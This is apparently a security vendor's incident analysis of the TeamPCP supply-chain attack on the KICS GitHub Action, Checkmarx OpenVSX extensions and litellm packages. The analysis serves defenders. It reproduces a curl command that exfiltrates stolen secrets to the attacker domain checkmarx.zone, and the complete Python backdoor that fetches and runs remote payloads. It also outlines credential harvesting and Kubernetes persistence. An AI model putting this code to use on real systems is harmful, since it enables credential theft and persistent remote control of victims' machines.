KICS GitHub Action Compromised: TeamPCP Strikes Again in Supply Chain Attack

The KICS GitHub Action was compromised with credential-stealing malware by TeamPCP, the same group behind the Trivy attack. KICS is an open source infrastructure as code security scanner by Checkmarx. Between 12:58 and 16:50 UTC on March 23rd, any users of this GitHub Action who were pinning to one of the compromised tags would have been served the malware. The repository was taken down at 16:50 UTC, shortly after a GitHub issue was filed by a user notifying the maintainers of the incident.

The action was available at https://github.com/Checkmarx/kics-github-action prior to takedown.

Update 03/24:

11:30 UTC: The "litellm" packages (versions 1.82.7 and 1.82.8) on PyPI have been trojanized. They contain with the same functionality as the previous operation, but using a new exfiltration domain: models.litellm[.]cloud. The malicious update was published at approximately 8:30 UTC and was been quarantined by PyPI at 11:25 UTC. Wiz customers can see an advisory in the Threat Center.

Updates 03/23:
19:24 UTC: The repository has been reinstated, and the maintainers state "The issue is resolved now."

22:25 UTC: Sysdig reports that ast-github-action was also impacted. They were limited to observing a single malicious tag 2.3.28 - however based on TeamPCPs tactics, we believe it is likely all tags were impacted.

22:35 UTC: Based on a tip from independent researcher Adnan Khan, Wiz has confirmed that Checkmarx OpenVSX extensions cx-dev-assist 1.7.0 and ast-results 2.53.0 have been compromised. This was concurrently reported by ReversingLabs via tweet. See "OpenVSX Payload" section below for details. We have reported these to OpenVSX for removal.

Update 03/24 9:00 UTC: Checkmarx have published a Security Update addressing the issues with the KICS GitHub action and OpenVSX plugins. They state a resolution time of 15:41 UTC for OpenVSX, however we observed the malicious versions were present at the time of our report. Additionally, while new versions have been pushed, the malicious versions have yet to be removed.

This is the second popular open source security scanner that this group has compromised in the last five days. The operation uses familiar naming conventions and the same RSA public key, allowing Wiz to assess with high confidence that it is the same actor. 

KICS Github Action Payload

The malicious code was injected in the same manner as the Trivy incident:

1. The attacker staged imposter commits (commits on a fork of the repository) containing their payload: setup.sh and modified the action.yaml file to trigger a “Prepare Environment" event that would run setup.sh.

1. The attacker then used what appears to be a compromised identity to directly update all 35 tags in the project and point them to those staged commits (tag list below)

setup.sh functions similarly to the secret theft routines employed in the Trivy operation, gathering secrets then encrypting and exfiltrating them. It again attempts to send them to an attacker controlled server, with github repository creation as a backup, but uses a new exfiltration domain, checkmarx.zone (83.142.209.11) and exfiltration repo docs-tpcp. As with the Trivy operation, this malware can drop a python script intended to download and install a follow-on payload. However, this implementation adds a new Kubernetes focused persistence mechanism.

While kics-github-action has ~1% of the visible public usage of trivy-action, it is still broadly adopted publicly and privately as an Infrastructure as Code security scanner.

Github Compromise

The attack appears to have been accomplished via the compromise of the cx-plugins-releases (GitHub ID 225848595) service account, as that is the identity involved in publishing the malicious tags. 

Script Functionality

Initialization, Data Theft, and Exfiltration

The script starts up with the flag set -euo pipefail to ensure it fails silently, then searches for GitHub Actions and generic runners and creates a staging file in /tmp. It then kicks off its credential search which conducts the following hunts:

• Gathers environmental variables, SSH private/public keys and searches for any files that contain these values.

• If it detected it is running on a GitHub-hosted runner, it executes a python script to access /proc/[PID]/mem to dump the memory of Runner.Worker and carves JSON objects flagged as secrets via regular expressions

• A second python script queries AWS instance Metadata endpoints (IMDSv1/v2), crawls common directories (/home, /root, etc) and queries the Kubernetes API if local service account tokens are found.

Any identified secrets are bundled into a collected plaintext file, then encrypted using AES-256-CBC and a random session key (openssl rand 32 > "$_SESSION_KEY"). The session key is then encrypted using the attacker's hardcoded RSA public key. This is the same public key used in the previous operation. Both files are then compressed into tpcp.tar.gz.

The script attempts to exfiltrate them via curl. The HTTP status code is captured to verify success:

_HTTP=$(curl -s -o /dev/null -w "%{http_code}" -X POST https://checkmarx.zone -H "Content-Type: application/octet-stream" -H "X-Filename: tpcp.tar.gz" --data-binary "@${_BUNDLE}" 2>/dev/null || echo "000")

If it doesn’t succeed and the compromised environment contains a GITHUB_TOKEN, the script authenticates to the GitHub API. It programmatically creates a new repository (/docs-tpcp/) within the victim's GitHub account, creates a software "Release", and uploads the stolen encrypted tarball as a Release Asset. The previous campaign used /tpcp-docs

New Kubernetes Based Persistence 

setup.sh attempts to create the ability for a follow-on operation via the same sysmon.py script as in the Trivy operation; however this time a new Kubernetes based method is invoked, in an attempt to survive the deletion of the initial CI container. If the script is run on a Kubernetes container that has sufficient permissions, it will attempt to deploy a highly privileged pod and run sysmon.py within it. If it is run on a standard linux host, it creates hidden directories in the users home folder ~/.config/sysmon and writes the python backdoor there. The backdoor is the same as in the previous version, except it reads from https://checkmarx.zone/raw, rather than the ico address used in the Trivy operation. 

import urllib.request
import os
import subprocess
import time

C_URL = "https://checkmarx[.]zone/raw"
TARGET = "/tmp/pglog"
STATE = "/tmp/.pg_state"

def g():
    try:
        req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'})
        with urllib.request.urlopen(req, timeout=10) as r:
            link = r.read().decode('utf-8').strip()
            return link if link.startswith("http") else None
    except:
        return None

def e(l):
    try:
        urllib.request.urlretrieve(l, TARGET)
        os.chmod(TARGET, 0o755)
        subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
        with open(STATE, "w") as f: 
            f.write(l)
    except:
        pass

if __name__ == "__main__":
    time.sleep(300)
    while True:
        l = g()
        prev = ""
        if os.path.exists(STATE):
            try:
                with open(STATE, "r") as f: 
                    prev = f.read().strip()
            except: 
                pass
        
        if l and l != prev and "youtube.com" not in l:
            e(l)
            
        time.sleep(3000)

Privileged Pod Creation & Malware Instalation

The script checks to see if the file: /var/run/secrets/kubernetes.io/serviceaccount/token exists and if it does, it uses that token to query /api/v1/nodes to gather a list of every underlying physical or virtual server in the cluster and extracts the node_name. 

For each node, the script generates a pod manifest and payload script. The script uses the pod manifest to generate a dynamic name and places a highly privileged pod in the 'namespace':'kube-system. The pod is configured to run the previously generated custom payload script and then quit. In each identified node the payload script installs the sysmon.py backdoor to /root/.config/sysmon/sysmon.py and creates a systemd unit file at /root/.config/systemd/user/sysmon.service to ensure the python script is run.

OpenVSX Payload

Both compromised extensions (ast-results v2.53.0 and cx-dev-assist v1.7.0) contained identical payloads. They were published 12 seconds apart at 12:53 UTC on March 23, 2026, via the ast-phoenix account on Open VSX. The VS Code Marketplace versions appear unaffected.

Payload Execution Flow

1. On activation of the extension, the new malicious environmentAuthChecker.js is invoked from activateCore.js

2. This payload first checks if the victim has credentials for at least one cloud provider

If any credentials are detected, the second-stage payload is retrieved from the C2: checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz

1. The payload attempts execution via npx, bunx, pnpx, or yarn dlx. This covers major JavaScript package managers. The retrieved package contrains a comprehensive credential stealer.

2. Harvested credentials are then encrpyted, using the keys as elsewhere in this campaign, and exfiltrated to checkmarx[.]zone/vsx as tpcp.tar.gz.

On non-CI systems, the malware installs persistence via a systemd user service. The persistence script polls https://checkmarx[.]zone/raw every 50 minutes for additional payloads, with a kill switch that aborts if the response contains "youtube". Currently, the link redirects to The Show Must Go On by Queen.

Compromised Artifacts

OpenVSX Extensions

kics-github-action Releases

The v1.1 release was the only malicious release created. Other releases, triggered automatically by the tag events, failed because those versions already existed.

kics-github-action Tags

Which actions should security teams take?

1. Audit KICS GitHub Actions references: Review workflows using kics-github-action. If you referenced a version tag rather than a SHA, check workflow run logs from the exposure window for signs of compromise.

2. Search for exfiltration artifacts: Look for repositories named docs-tpcp in your GitHub organization, which may indicate successful exfiltration via the fallback mechanism.

Long-term hardening: Refer to Wiz's How to Harden GitHub Actions: The Unofficial Guide

How can Wiz help?

Wiz customers should continue to monitor the advisory in the Wiz Threat Center for ongoing guidance, pre-built queries, and references to relevant detections they can use to assess the risk  in their environment.

Worried you’ve been impacted? Connect with the Wiz Incident Response team.